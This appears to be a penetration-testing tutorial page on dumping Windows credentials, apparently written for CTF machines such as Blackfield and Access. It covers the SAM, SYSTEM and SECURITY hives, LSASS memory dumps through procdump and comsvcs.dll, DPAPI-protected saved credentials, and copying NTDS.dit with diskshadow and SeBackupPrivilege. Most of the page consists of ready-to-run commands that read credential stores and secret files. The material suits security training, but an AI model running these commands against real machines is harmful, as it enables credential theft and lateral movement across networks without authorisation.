Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit
Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.
As soon as you are an administrator (or SYSTEM) on a Windows machine, the next step is pulling its credentials: the hashes of its local accounts, those of the domain users who have logged on, and any passwords that were saved. With them you move on to the next machine (lateral movement). This is the SAM/LSA/LSASS dumping technique.
Where the credentials live
| Location | What it holds | What you need |
|---|---|---|
SAM (+ SYSTEM) |
NT hashes of local accounts | Local admin |
LSA secrets (SECURITY) |
Service passwords, the machine account, autologon | Local admin |
Domain cache (SECURITY) |
DCC2 hashes of the latest domain users (slow to crack) | Local admin |
| LSASS (memory) | NT hashes, Kerberos tickets and sometimes passwords of whoever is logged on right now | Local admin + SeDebugPrivilege |
| DPAPI | Saved credentials, browsers, Wi-Fi, RDP | The user's password or the domain backup key |
| NTDS.dit (on the DC) | Every hash in the domain | Domain admin, DCSync or SeBackupPrivilege on the DC |
1. SAM, SYSTEM and SECURITY
From your box, if you have admin credentials:
impacket-secretsdump corp.local/administrator:'Password1'@10.10.10.10
nxc smb 10.10.10.10 -u administrator -H 8846f7... --sam --lsa
From a shell on the machine, save the hives and take them with you:
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
reg save HKLM\SECURITY C:\Windows\Temp\security
impacket-secretsdump -sam sam -system system -security security LOCAL
Tip
With evil-winrm you can pull the files with download sam. Copies of the hives that turn up in backups or in C:\Windows\Repair\ (old systems) work too, as on Bastion, where they sit inside a virtual disk on a share.
2. LSASS
LSASS is the process that handles logons. Its memory holds the credentials of whoever is logged on right now: if a domain admin has a session, their hash is in there.
From your box, without uploading anything:
lsassy -u administrator -H 8846f7... 10.10.10.10
nxc smb 10.10.10.10 -u administrator -H 8846f7... -M lsassy
nxc smb 10.10.10.10 -u administrator -H 8846f7... -M nanodump
From the machine, by taking a memory dump and parsing it on your box:
# With a signed Microsoft tool
.\procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\l.dmp
# Or with a DLL that ships with the system
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp full
pypykatz lsa minidump l.dmp
Warning
Opening LSASS is the most watched action for any antivirus or EDR: almost every variant here gets detected nowadays. In a CTF it rarely matters; on a real engagement, first check what protects the machine (the how EDRs detect you guide). If LSASS runs as a protected process (PPL) or Credential Guard is on, you will not get the hashes this way.
3. DPAPI and saved credentials
Windows uses DPAPI to encrypt the passwords users "remember": Credential Manager, Chrome and Edge, Wi-Fi, saved RDP connections (saved credentials / DPAPI).
cmdkey /list # saved credentials (runas /savecred uses them)
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\ -Force
dir C:\Users\*\AppData\Roaming\Microsoft\Protect\ -Force # the master keys
# From your box, as admin: everything that can be decrypted
nxc smb 10.10.10.10 -u administrator -H 8846f7... --dpapi
# By hand with Impacket, with the user's password
impacket-dpapi masterkey -file <masterkey> -sid S-1-5-21-...-1103 -password 'Password1'
impacket-dpapi credential -file <credential> -key 0x<decrypted_key>
If cmdkey /list shows an administrator credential, you can use it without decrypting it: runas /savecred /user:CORP\Administrator "cmd /c ...". It is the escalation on Access.
Other places with cleartext passwords worth checking (credentials in the registry and history):
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultPassword DefaultUserName"
dir C:\ -Recurse -Include *.config,*.xml,*.ini,unattend*.xml -ErrorAction SilentlyContinue | Select-String -Pattern password
4. NTDS.dit
On a domain controller, C:\Windows\NTDS\ntds.dit holds the hashes for the whole domain. If you are a domain admin or have DCSync, the easiest way is to ask the DC for them (DCSync):
impacket-secretsdump corp.local/[email protected] -hashes :8846f7... -just-dc-ntlm
If you only have SeBackupPrivilege (from being in Backup Operators, SeBackup), you can copy it while it is in use, through a shadow copy:
# script.txt (with Windows line endings, CRLF)
# set context persistent nowriters
# add volume c: alias x
# create
# expose %x% z:
diskshadow /s script.txt
robocopy /b z:\Windows\NTDS C:\Windows\Temp\ ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\system
impacket-secretsdump -ntds ntds.dit -system system LOCAL
That is the ending of Blackfield. On Cicada, copying the SAM and SYSTEM with the same privilege is enough.
Common errors
secretsdumpreturnsrpc_s_access_denied: you are not an administrator on that machine (or remote UAC filters your local account; use RID 500).- pypykatz finds nothing in the dump: the dump is incomplete or from another architecture. With
comsvcs.dll, run it from a shell whereSeDebugPrivilegeis enabled (PowerShell as SYSTEM). diskshadowfails with a syntax error: the script has Linux line endings. Convert it withunix2dosbefore uploading it.
What next
With the new hashes, check again where they work (lateral movement) and crack the ones you care about (hash cracking): DCC2 (-m 2100) and NetNTLMv2 hashes are useless for pass-the-hash, but their passwords are not.